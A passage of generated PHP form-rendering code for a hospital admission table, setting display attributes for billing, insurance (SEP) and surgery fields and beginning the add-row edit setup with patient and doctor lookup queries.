\"\";\n\t\t\t$this->nott->TooltipValue = \"\";\n\n\t\t\t// deposit\n\t\t\t$this->deposit->LinkCustomAttributes = \"\";\n\t\t\t$this->deposit->HrefValue = \"\";\n\t\t\t$this->deposit->TooltipValue = \"\";\n\n\t\t\t// keluarrs\n\t\t\t$this->keluarrs->LinkCustomAttributes = \"\";\n\t\t\t$this->keluarrs->HrefValue = \"\";\n\t\t\t$this->keluarrs->TooltipValue = \"\";\n\n\t\t\t// icd_masuk\n\t\t\t$this->icd_masuk->LinkCustomAttributes = \"\";\n\t\t\t$this->icd_masuk->HrefValue = \"\";\n\t\t\t$this->icd_masuk->TooltipValue = \"\";\n\n\t\t\t// icd_keluar\n\t\t\t$this->icd_keluar->LinkCustomAttributes = \"\";\n\t\t\t$this->icd_keluar->HrefValue = \"\";\n\t\t\t$this->icd_keluar->TooltipValue = \"\";\n\n\t\t\t// NIP\n\t\t\t$this->NIP->LinkCustomAttributes = \"\";\n\t\t\t$this->NIP->HrefValue = \"\";\n\t\t\t$this->NIP->TooltipValue = \"\";\n\n\t\t\t// noruang_asal\n\t\t\t$this->noruang_asal->LinkCustomAttributes = \"\";\n\t\t\t$this->noruang_asal->HrefValue = \"\";\n\t\t\t$this->noruang_asal->TooltipValue = \"\";\n\n\t\t\t// nott_asal\n\t\t\t$this->nott_asal->LinkCustomAttributes = \"\";\n\t\t\t$this->nott_asal->HrefValue = \"\";\n\t\t\t$this->nott_asal->TooltipValue = \"\";\n\n\t\t\t// tgl_pindah\n\t\t\t$this->tgl_pindah->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_pindah->HrefValue = \"\";\n\t\t\t$this->tgl_pindah->TooltipValue = \"\";\n\n\t\t\t// kd_rujuk\n\t\t\t$this->kd_rujuk->LinkCustomAttributes = \"\";\n\t\t\t$this->kd_rujuk->HrefValue = \"\";\n\t\t\t$this->kd_rujuk->TooltipValue = \"\";\n\n\t\t\t// st_bayar\n\t\t\t$this->st_bayar->LinkCustomAttributes = \"\";\n\t\t\t$this->st_bayar->HrefValue = \"\";\n\t\t\t$this->st_bayar->TooltipValue = \"\";\n\n\t\t\t// dokter_penanggungjawab\n\t\t\t$this->dokter_penanggungjawab->LinkCustomAttributes = \"\";\n\t\t\t$this->dokter_penanggungjawab->HrefValue = \"\";\n\t\t\t$this->dokter_penanggungjawab->TooltipValue = \"\";\n\n\t\t\t// perawat\n\t\t\t$this->perawat->LinkCustomAttributes = \"\";\n\t\t\t$this->perawat->HrefValue = \"\";\n\t\t\t$this->perawat->TooltipValue = \"\";\n\n\t\t\t// KELASPERAWATAN_ID\n\t\t\t$this->KELASPERAWATAN_ID->LinkCustomAttributes = \"\";\n\t\t\t$this->KELASPERAWATAN_ID->HrefValue = \"\";\n\t\t\t$this->KELASPERAWATAN_ID->TooltipValue = \"\";\n\n\t\t\t// LOS\n\t\t\t$this->LOS->LinkCustomAttributes = \"\";\n\t\t\t$this->LOS->HrefValue = \"\";\n\t\t\t$this->LOS->TooltipValue = \"\";\n\n\t\t\t// TOT_TRF_TIND_DOKTER\n\t\t\t$this->TOT_TRF_TIND_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_TIND_DOKTER->HrefValue = \"\";\n\t\t\t$this->TOT_TRF_TIND_DOKTER->TooltipValue = \"\";\n\n\t\t\t// TOT_BHP_DOKTER\n\t\t\t$this->TOT_BHP_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_DOKTER->HrefValue = \"\";\n\t\t\t$this->TOT_BHP_DOKTER->TooltipValue = \"\";\n\n\t\t\t// TOT_TRF_PERAWAT\n\t\t\t$this->TOT_TRF_PERAWAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_PERAWAT->HrefValue = \"\";\n\t\t\t$this->TOT_TRF_PERAWAT->TooltipValue = \"\";\n\n\t\t\t// TOT_BHP_PERAWAT\n\t\t\t$this->TOT_BHP_PERAWAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_PERAWAT->HrefValue = \"\";\n\t\t\t$this->TOT_BHP_PERAWAT->TooltipValue = \"\";\n\n\t\t\t// TOT_TRF_DOKTER\n\t\t\t$this->TOT_TRF_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_DOKTER->HrefValue = \"\";\n\t\t\t$this->TOT_TRF_DOKTER->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_RAD\n\t\t\t$this->TOT_BIAYA_RAD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_RAD->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_RAD->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_CDRPOLI\n\t\t\t$this->TOT_BIAYA_CDRPOLI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_CDRPOLI->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_CDRPOLI->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_LAB_IGD\n\t\t\t$this->TOT_BIAYA_LAB_IGD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAB_IGD->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_LAB_IGD->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_OKSIGEN\n\t\t\t$this->TOT_BIAYA_OKSIGEN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_OKSIGEN->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_OKSIGEN->TooltipValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_OBAT\n\t\t\t$this->TOTAL_BIAYA_OBAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_OBAT->HrefValue = \"\";\n\t\t\t$this->TOTAL_BIAYA_OBAT->TooltipValue = \"\";\n\n\t\t\t// LINK_SET_KELAS\n\t\t\t$this->LINK_SET_KELAS->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_SET_KELAS->HrefValue = \"\";\n\t\t\t$this->LINK_SET_KELAS->TooltipValue = \"\";\n\n\t\t\t// biaya_obat\n\t\t\t$this->biaya_obat->LinkCustomAttributes = \"\";\n\t\t\t$this->biaya_obat->HrefValue = \"\";\n\t\t\t$this->biaya_obat->TooltipValue = \"\";\n\n\t\t\t// biaya_retur_obat\n\t\t\t$this->biaya_retur_obat->LinkCustomAttributes = \"\";\n\t\t\t$this->biaya_retur_obat->HrefValue = \"\";\n\t\t\t$this->biaya_retur_obat->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_GIZI\n\t\t\t$this->TOT_BIAYA_GIZI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_GIZI->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_GIZI->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_TMO\n\t\t\t$this->TOT_BIAYA_TMO->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_TMO->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_TMO->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_AMBULAN\n\t\t\t$this->TOT_BIAYA_AMBULAN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AMBULAN->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_AMBULAN->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_FISIO\n\t\t\t$this->TOT_BIAYA_FISIO->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_FISIO->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_FISIO->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_LAINLAIN\n\t\t\t$this->TOT_BIAYA_LAINLAIN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAINLAIN->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_LAINLAIN->TooltipValue = \"\";\n\n\t\t\t// jenisperawatan_id\n\t\t\t$this->jenisperawatan_id->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisperawatan_id->HrefValue = \"\";\n\t\t\t$this->jenisperawatan_id->TooltipValue = \"\";\n\n\t\t\t// status_transaksi\n\t\t\t$this->status_transaksi->LinkCustomAttributes = \"\";\n\t\t\t$this->status_transaksi->HrefValue = \"\";\n\t\t\t$this->status_transaksi->TooltipValue = \"\";\n\n\t\t\t// statuskeluarranap_id\n\t\t\t$this->statuskeluarranap_id->LinkCustomAttributes = \"\";\n\t\t\t$this->statuskeluarranap_id->HrefValue = \"\";\n\t\t\t$this->statuskeluarranap_id->TooltipValue = \"\";\n\n\t\t\t// TOT_BIAYA_AKOMODASI\n\t\t\t$this->TOT_BIAYA_AKOMODASI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AKOMODASI->HrefValue = \"\";\n\t\t\t$this->TOT_BIAYA_AKOMODASI->TooltipValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_ASKEP\n\t\t\t$this->TOTAL_BIAYA_ASKEP->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_ASKEP->HrefValue = \"\";\n\t\t\t$this->TOTAL_BIAYA_ASKEP->TooltipValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_SIMRS\n\t\t\t$this->TOTAL_BIAYA_SIMRS->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_SIMRS->HrefValue = \"\";\n\t\t\t$this->TOTAL_BIAYA_SIMRS->TooltipValue = \"\";\n\n\t\t\t// TOT_PENJ_NMEDIS\n\t\t\t$this->TOT_PENJ_NMEDIS->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_PENJ_NMEDIS->HrefValue = \"\";\n\t\t\t$this->TOT_PENJ_NMEDIS->TooltipValue = \"\";\n\n\t\t\t// LINK_MASTERDETAIL\n\t\t\t$this->LINK_MASTERDETAIL->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_MASTERDETAIL->HrefValue = \"\";\n\t\t\t$this->LINK_MASTERDETAIL->TooltipValue = \"\";\n\n\t\t\t// NO_SKP\n\t\t\t$this->NO_SKP->LinkCustomAttributes = \"\";\n\t\t\t$this->NO_SKP->HrefValue = \"\";\n\t\t\t$this->NO_SKP->TooltipValue = \"\";\n\n\t\t\t// LINK_PELAYANAN_OBAT\n\t\t\t$this->LINK_PELAYANAN_OBAT->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_PELAYANAN_OBAT->HrefValue = \"\";\n\t\t\t$this->LINK_PELAYANAN_OBAT->TooltipValue = \"\";\n\n\t\t\t// TOT_TIND_RAJAL\n\t\t\t$this->TOT_TIND_RAJAL->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_RAJAL->HrefValue = \"\";\n\t\t\t$this->TOT_TIND_RAJAL->TooltipValue = \"\";\n\n\t\t\t// TOT_TIND_IGD\n\t\t\t$this->TOT_TIND_IGD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_IGD->HrefValue = \"\";\n\t\t\t$this->TOT_TIND_IGD->TooltipValue = \"\";\n\n\t\t\t// tanggal_pengembalian_status\n\t\t\t$this->tanggal_pengembalian_status->LinkCustomAttributes = \"\";\n\t\t\t$this->tanggal_pengembalian_status->HrefValue = \"\";\n\t\t\t$this->tanggal_pengembalian_status->TooltipValue = \"\";\n\n\t\t\t// naik_kelas\n\t\t\t$this->naik_kelas->LinkCustomAttributes = \"\";\n\t\t\t$this->naik_kelas->HrefValue = \"\";\n\t\t\t$this->naik_kelas->TooltipValue = \"\";\n\n\t\t\t// iuran_kelas_lama\n\t\t\t$this->iuran_kelas_lama->LinkCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_lama->HrefValue = \"\";\n\t\t\t$this->iuran_kelas_lama->TooltipValue = \"\";\n\n\t\t\t// iuran_kelas_baru\n\t\t\t$this->iuran_kelas_baru->LinkCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_baru->HrefValue = \"\";\n\t\t\t$this->iuran_kelas_baru->TooltipValue = \"\";\n\n\t\t\t// ketrangan_naik_kelas\n\t\t\t$this->ketrangan_naik_kelas->LinkCustomAttributes = \"\";\n\t\t\t$this->ketrangan_naik_kelas->HrefValue = \"\";\n\t\t\t$this->ketrangan_naik_kelas->TooltipValue = \"\";\n\n\t\t\t// tgl_pengiriman_ad_klaim\n\t\t\t$this->tgl_pengiriman_ad_klaim->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_pengiriman_ad_klaim->HrefValue = \"\";\n\t\t\t$this->tgl_pengiriman_ad_klaim->TooltipValue = \"\";\n\n\t\t\t// diagnosa_keluar\n\t\t\t$this->diagnosa_keluar->LinkCustomAttributes = \"\";\n\t\t\t$this->diagnosa_keluar->HrefValue = \"\";\n\t\t\t$this->diagnosa_keluar->TooltipValue = \"\";\n\n\t\t\t// sep_tglsep\n\t\t\t$this->sep_tglsep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tglsep->HrefValue = \"\";\n\t\t\t$this->sep_tglsep->TooltipValue = \"\";\n\n\t\t\t// sep_tglrujuk\n\t\t\t$this->sep_tglrujuk->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tglrujuk->HrefValue = \"\";\n\t\t\t$this->sep_tglrujuk->TooltipValue = \"\";\n\n\t\t\t// sep_kodekelasrawat\n\t\t\t$this->sep_kodekelasrawat->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodekelasrawat->HrefValue = \"\";\n\t\t\t$this->sep_kodekelasrawat->TooltipValue = \"\";\n\n\t\t\t// sep_norujukan\n\t\t\t$this->sep_norujukan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_norujukan->HrefValue = \"\";\n\t\t\t$this->sep_norujukan->TooltipValue = \"\";\n\n\t\t\t// sep_kodeppkasal\n\t\t\t$this->sep_kodeppkasal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkasal->HrefValue = \"\";\n\t\t\t$this->sep_kodeppkasal->TooltipValue = \"\";\n\n\t\t\t// sep_namappkasal\n\t\t\t$this->sep_namappkasal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namappkasal->HrefValue = \"\";\n\t\t\t$this->sep_namappkasal->TooltipValue = \"\";\n\n\t\t\t// sep_kodeppkpelayanan\n\t\t\t$this->sep_kodeppkpelayanan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkpelayanan->HrefValue = \"\";\n\t\t\t$this->sep_kodeppkpelayanan->TooltipValue = \"\";\n\n\t\t\t// sep_namappkpelayanan\n\t\t\t$this->sep_namappkpelayanan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namappkpelayanan->HrefValue = \"\";\n\t\t\t$this->sep_namappkpelayanan->TooltipValue = \"\";\n\n\t\t\t// t_admissioncol\n\t\t\t$this->t_admissioncol->LinkCustomAttributes = \"\";\n\t\t\t$this->t_admissioncol->HrefValue = \"\";\n\t\t\t$this->t_admissioncol->TooltipValue = \"\";\n\n\t\t\t// sep_jenisperawatan\n\t\t\t$this->sep_jenisperawatan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jenisperawatan->HrefValue = \"\";\n\t\t\t$this->sep_jenisperawatan->TooltipValue = \"\";\n\n\t\t\t// sep_catatan\n\t\t\t$this->sep_catatan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_catatan->HrefValue = \"\";\n\t\t\t$this->sep_catatan->TooltipValue = \"\";\n\n\t\t\t// sep_kodediagnosaawal\n\t\t\t$this->sep_kodediagnosaawal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodediagnosaawal->HrefValue = \"\";\n\t\t\t$this->sep_kodediagnosaawal->TooltipValue = \"\";\n\n\t\t\t// sep_namadiagnosaawal\n\t\t\t$this->sep_namadiagnosaawal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namadiagnosaawal->HrefValue = \"\";\n\t\t\t$this->sep_namadiagnosaawal->TooltipValue = \"\";\n\n\t\t\t// sep_lakalantas\n\t\t\t$this->sep_lakalantas->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_lakalantas->HrefValue = \"\";\n\t\t\t$this->sep_lakalantas->TooltipValue = \"\";\n\n\t\t\t// sep_lokasilaka\n\t\t\t$this->sep_lokasilaka->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_lokasilaka->HrefValue = \"\";\n\t\t\t$this->sep_lokasilaka->TooltipValue = \"\";\n\n\t\t\t// sep_user\n\t\t\t$this->sep_user->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_user->HrefValue = \"\";\n\t\t\t$this->sep_user->TooltipValue = \"\";\n\n\t\t\t// sep_flag_cekpeserta\n\t\t\t$this->sep_flag_cekpeserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_cekpeserta->HrefValue = \"\";\n\t\t\t$this->sep_flag_cekpeserta->TooltipValue = \"\";\n\n\t\t\t// sep_flag_generatesep\n\t\t\t$this->sep_flag_generatesep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_generatesep->HrefValue = \"\";\n\t\t\t$this->sep_flag_generatesep->TooltipValue = \"\";\n\n\t\t\t// sep_flag_mapingsep\n\t\t\t$this->sep_flag_mapingsep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_mapingsep->HrefValue = \"\";\n\t\t\t$this->sep_flag_mapingsep->TooltipValue = \"\";\n\n\t\t\t// sep_nik\n\t\t\t$this->sep_nik->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_nik->HrefValue = \"\";\n\t\t\t$this->sep_nik->TooltipValue = \"\";\n\n\t\t\t// sep_namapeserta\n\t\t\t$this->sep_namapeserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namapeserta->HrefValue = \"\";\n\t\t\t$this->sep_namapeserta->TooltipValue = \"\";\n\n\t\t\t// sep_jeniskelamin\n\t\t\t$this->sep_jeniskelamin->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jeniskelamin->HrefValue = \"\";\n\t\t\t$this->sep_jeniskelamin->TooltipValue = \"\";\n\n\t\t\t// sep_pisat\n\t\t\t$this->sep_pisat->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_pisat->HrefValue = \"\";\n\t\t\t$this->sep_pisat->TooltipValue = \"\";\n\n\t\t\t// sep_tgllahir\n\t\t\t$this->sep_tgllahir->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tgllahir->HrefValue = \"\";\n\t\t\t$this->sep_tgllahir->TooltipValue = \"\";\n\n\t\t\t// sep_kodejeniskepesertaan\n\t\t\t$this->sep_kodejeniskepesertaan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodejeniskepesertaan->HrefValue = \"\";\n\t\t\t$this->sep_kodejeniskepesertaan->TooltipValue = \"\";\n\n\t\t\t// sep_namajeniskepesertaan\n\t\t\t$this->sep_namajeniskepesertaan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namajeniskepesertaan->HrefValue = \"\";\n\t\t\t$this->sep_namajeniskepesertaan->TooltipValue = \"\";\n\n\t\t\t// sep_kodepolitujuan\n\t\t\t$this->sep_kodepolitujuan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodepolitujuan->HrefValue = \"\";\n\t\t\t$this->sep_kodepolitujuan->TooltipValue = \"\";\n\n\t\t\t// sep_namapolitujuan\n\t\t\t$this->sep_namapolitujuan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namapolitujuan->HrefValue = \"\";\n\t\t\t$this->sep_namapolitujuan->TooltipValue = \"\";\n\n\t\t\t// ket_jeniskelamin\n\t\t\t$this->ket_jeniskelamin->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_jeniskelamin->HrefValue = \"\";\n\t\t\t$this->ket_jeniskelamin->TooltipValue = \"\";\n\n\t\t\t// sep_nokabpjs\n\t\t\t$this->sep_nokabpjs->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_nokabpjs->HrefValue = \"\";\n\t\t\t$this->sep_nokabpjs->TooltipValue = \"\";\n\n\t\t\t// counter_cetak_sep\n\t\t\t$this->counter_cetak_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->counter_cetak_sep->HrefValue = \"\";\n\t\t\t$this->counter_cetak_sep->TooltipValue = \"\";\n\n\t\t\t// sep_petugas_hapus_sep\n\t\t\t$this->sep_petugas_hapus_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_hapus_sep->HrefValue = \"\";\n\t\t\t$this->sep_petugas_hapus_sep->TooltipValue = \"\";\n\n\t\t\t// sep_petugas_set_tgl_pulang\n\t\t\t$this->sep_petugas_set_tgl_pulang->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_set_tgl_pulang->HrefValue = \"\";\n\t\t\t$this->sep_petugas_set_tgl_pulang->TooltipValue = \"\";\n\n\t\t\t// sep_jam_generate_sep\n\t\t\t$this->sep_jam_generate_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jam_generate_sep->HrefValue = \"\";\n\t\t\t$this->sep_jam_generate_sep->TooltipValue = \"\";\n\n\t\t\t// sep_status_peserta\n\t\t\t$this->sep_status_peserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_status_peserta->HrefValue = \"\";\n\t\t\t$this->sep_status_peserta->TooltipValue = \"\";\n\n\t\t\t// sep_umur_pasien_sekarang\n\t\t\t$this->sep_umur_pasien_sekarang->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_umur_pasien_sekarang->HrefValue = \"\";\n\t\t\t$this->sep_umur_pasien_sekarang->TooltipValue = \"\";\n\n\t\t\t// ket_title\n\t\t\t$this->ket_title->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_title->HrefValue = \"\";\n\t\t\t$this->ket_title->TooltipValue = \"\";\n\n\t\t\t// status_daftar_ranap\n\t\t\t$this->status_daftar_ranap->LinkCustomAttributes = \"\";\n\t\t\t$this->status_daftar_ranap->HrefValue = \"\";\n\t\t\t$this->status_daftar_ranap->TooltipValue = \"\";\n\n\t\t\t// IBS_SETMARKING\n\t\t\t$this->IBS_SETMARKING->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_SETMARKING->HrefValue = \"\";\n\t\t\t$this->IBS_SETMARKING->TooltipValue = \"\";\n\n\t\t\t// IBS_PATOLOGI\n\t\t\t$this->IBS_PATOLOGI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_PATOLOGI->HrefValue = \"\";\n\t\t\t$this->IBS_PATOLOGI->TooltipValue = \"\";\n\n\t\t\t// IBS_JENISANESTESI\n\t\t\t$this->IBS_JENISANESTESI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JENISANESTESI->HrefValue = \"\";\n\t\t\t$this->IBS_JENISANESTESI->TooltipValue = \"\";\n\n\t\t\t// IBS_NO_OK\n\t\t\t$this->IBS_NO_OK->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_NO_OK->HrefValue = \"\";\n\t\t\t$this->IBS_NO_OK->TooltipValue = \"\";\n\n\t\t\t// IBS_ASISSTEN\n\t\t\t$this->IBS_ASISSTEN->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_ASISSTEN->HrefValue = \"\";\n\t\t\t$this->IBS_ASISSTEN->TooltipValue = \"\";\n\n\t\t\t// IBS_JAM_ELEFTIF\n\t\t\t$this->IBS_JAM_ELEFTIF->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEFTIF->HrefValue = \"\";\n\t\t\t$this->IBS_JAM_ELEFTIF->TooltipValue = \"\";\n\n\t\t\t// IBS_JAM_ELEKTIF_SELESAI\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->HrefValue = \"\";\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->TooltipValue = \"\";\n\n\t\t\t// IBS_JAM_CYTO\n\t\t\t$this->IBS_JAM_CYTO->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO->HrefValue = \"\";\n\t\t\t$this->IBS_JAM_CYTO->TooltipValue = \"\";\n\n\t\t\t// IBS_JAM_CYTO_SELESAI\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->HrefValue = \"\";\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->TooltipValue = \"\";\n\n\t\t\t// IBS_TGL_DFTR_OP\n\t\t\t$this->IBS_TGL_DFTR_OP->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_DFTR_OP->HrefValue = \"\";\n\t\t\t$this->IBS_TGL_DFTR_OP->TooltipValue = \"\";\n\n\t\t\t// IBS_TGL_OP\n\t\t\t$this->IBS_TGL_OP->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_OP->HrefValue = \"\";\n\t\t\t$this->IBS_TGL_OP->TooltipValue = \"\";\n\n\t\t\t// grup_ruang_id\n\t\t\t$this->grup_ruang_id->LinkCustomAttributes = \"\";\n\t\t\t$this->grup_ruang_id->HrefValue = \"\";\n\t\t\t$this->grup_ruang_id->TooltipValue = \"\";\n\n\t\t\t// status_order_ibs\n\t\t\t$this->status_order_ibs->LinkCustomAttributes = \"\";\n\t\t\t$this->status_order_ibs->HrefValue = \"\";\n\t\t\t$this->status_order_ibs->TooltipValue = \"\";\n\t\t} elseif ($this->RowType == EW_ROWTYPE_ADD) { // Add row\n\n\t\t\t// id_admission\n\t\t\t$this->id_admission->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->id_admission->EditCustomAttributes = \"\";\n\t\t\t$this->id_admission->EditValue = ew_HtmlEncode($this->id_admission->CurrentValue);\n\t\t\t$this->id_admission->PlaceHolder = ew_RemoveHtml($this->id_admission->FldCaption());\n\n\t\t\t// nomr\n\t\t\t$this->nomr->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->nomr->EditCustomAttributes = \"\";\n\t\t\t$this->nomr->EditValue = ew_HtmlEncode($this->nomr->CurrentValue);\n\t\t\tif (strval($this->nomr->CurrentValue) <> \"\") {\n\t\t\t\t$sFilterWrk = \"`NOMR`\" . ew_SearchString(\"=\", $this->nomr->CurrentValue, EW_DATATYPE_STRING, \"\");\n\t\t\t$sSqlWrk = \"SELECT `NOMR`, `NOMR` AS `DispFld`, `NAMA` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_pasien`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->nomr->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->nomr, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t\t$arwrk = array();\n\t\t\t\t\t$arwrk[1] = ew_HtmlEncode($rswrk->fields('DispFld'));\n\t\t\t\t\t$arwrk[2] = ew_HtmlEncode($rswrk->fields('Disp2Fld'));\n\t\t\t\t\t$this->nomr->EditValue = $this->nomr->DisplayValue($arwrk);\n\t\t\t\t\t$rswrk->Close();\n\t\t\t\t} else {\n\t\t\t\t\t$this->nomr->EditValue = ew_HtmlEncode($this->nomr->CurrentValue);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->nomr->EditValue = NULL;\n\t\t\t}\n\t\t\t$this->nomr->PlaceHolder = ew_RemoveHtml($this->nomr->FldCaption());\n\n\t\t\t// ket_nama\n\t\t\t$this->ket_nama->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ket_nama->EditCustomAttributes = \"\";\n\t\t\t$this->ket_nama->EditValue = ew_HtmlEncode($this->ket_nama->CurrentValue);\n\t\t\t$this->ket_nama->PlaceHolder = ew_RemoveHtml($this->ket_nama->FldCaption());\n\n\t\t\t// ket_tgllahir\n\t\t\t$this->ket_tgllahir->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ket_tgllahir->EditCustomAttributes = \"\";\n\t\t\t$this->ket_tgllahir->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->ket_tgllahir->CurrentValue, 8));\n\t\t\t$this->ket_tgllahir->PlaceHolder = ew_RemoveHtml($this->ket_tgllahir->FldCaption());\n\n\t\t\t// ket_alamat\n\t\t\t$this->ket_alamat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ket_alamat->EditCustomAttributes = \"\";\n\t\t\t$this->ket_alamat->EditValue = ew_HtmlEncode($this->ket_alamat->CurrentValue);\n\t\t\t$this->ket_alamat->PlaceHolder = ew_RemoveHtml($this->ket_alamat->FldCaption());\n\n\t\t\t// parent_nomr\n\t\t\t$this->parent_nomr->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->parent_nomr->EditCustomAttributes = \"\";\n\t\t\t$this->parent_nomr->EditValue = ew_HtmlEncode($this->parent_nomr->CurrentValue);\n\t\t\t$this->parent_nomr->PlaceHolder = ew_RemoveHtml($this->parent_nomr->FldCaption());\n\n\t\t\t// dokterpengirim\n\t\t\t$this->dokterpengirim->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->dokterpengirim->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->dokterpengirim->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`KDDOKTER`\" . ew_SearchString(\"=\", $this->dokterpengirim->CurrentValue, EW_DATATYPE_NUMBER, 